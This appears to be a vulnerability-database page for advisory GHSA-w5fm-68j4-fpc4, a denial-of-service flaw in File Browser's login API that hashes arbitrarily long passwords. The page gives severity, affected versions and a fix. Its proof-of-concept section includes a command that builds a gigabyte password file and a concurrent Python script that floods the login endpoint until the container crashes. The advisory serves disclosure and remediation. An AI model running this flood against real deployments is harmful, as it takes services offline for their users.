File Browser has a DoS Vulnerability via Public Login APIGHSA-w5fm-68j4-fpc4
MEDIUMFix: filebrowser/filebrowser@847d08bGHSA-w5fm-68j4-fpc4 is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w5fm-68j4-fpc4.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-w5fm-68j4-fpc4 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/filebrowser/filebrowser/v2🐹github.com/filebrowser/filebrowserReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.
Details
When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.
PoC
Create a file with a large password using this command:
yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt
This makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:
docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser
After running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio ). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.
import aiohttp
import asyncio
from time import perf_counter
url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
async with semaphore:
try:
async with session.post(url, json=body) as response:
print(response.status)
except asyncio.TimeoutError:
print('Request timed out')
except aiohttp.ConnectionTimeoutError:
print('Request timed out')
except Exception as e:
print(f"Unexpected error {e}")
async def main():
with open("./large-password.txt", "r") as f:
file_contents = f.read()
body = {
"username": "admin",
"password": file_contents,
"recaptcha": ""
}
headers = {"Content-Type": "application/json"}
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
async with aiohttp.ClientSession(headers=headers) as session:
tasks = [
make_request(session, body, semaphore)
for _ in range(TOTAL_REQUESTS)
]
start = perf_counter()
await asyncio.gather(*tasks)
end = perf_counter()
print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")
if __name__ == "__main__":
asyncio.run(main())
Impact
The vulnerability impacts anyone who uses this service.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.63.6go get github.com/filebrowser/filebrowser/v2@v2.63.6 |
| 🐹Go | github.com/filebrowser/filebrowser | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.63.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w5fm-68j4-fpc4 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-w5fm-68j4-fpc4 in your dependencies?
Find it across Go, including transitive dependencies.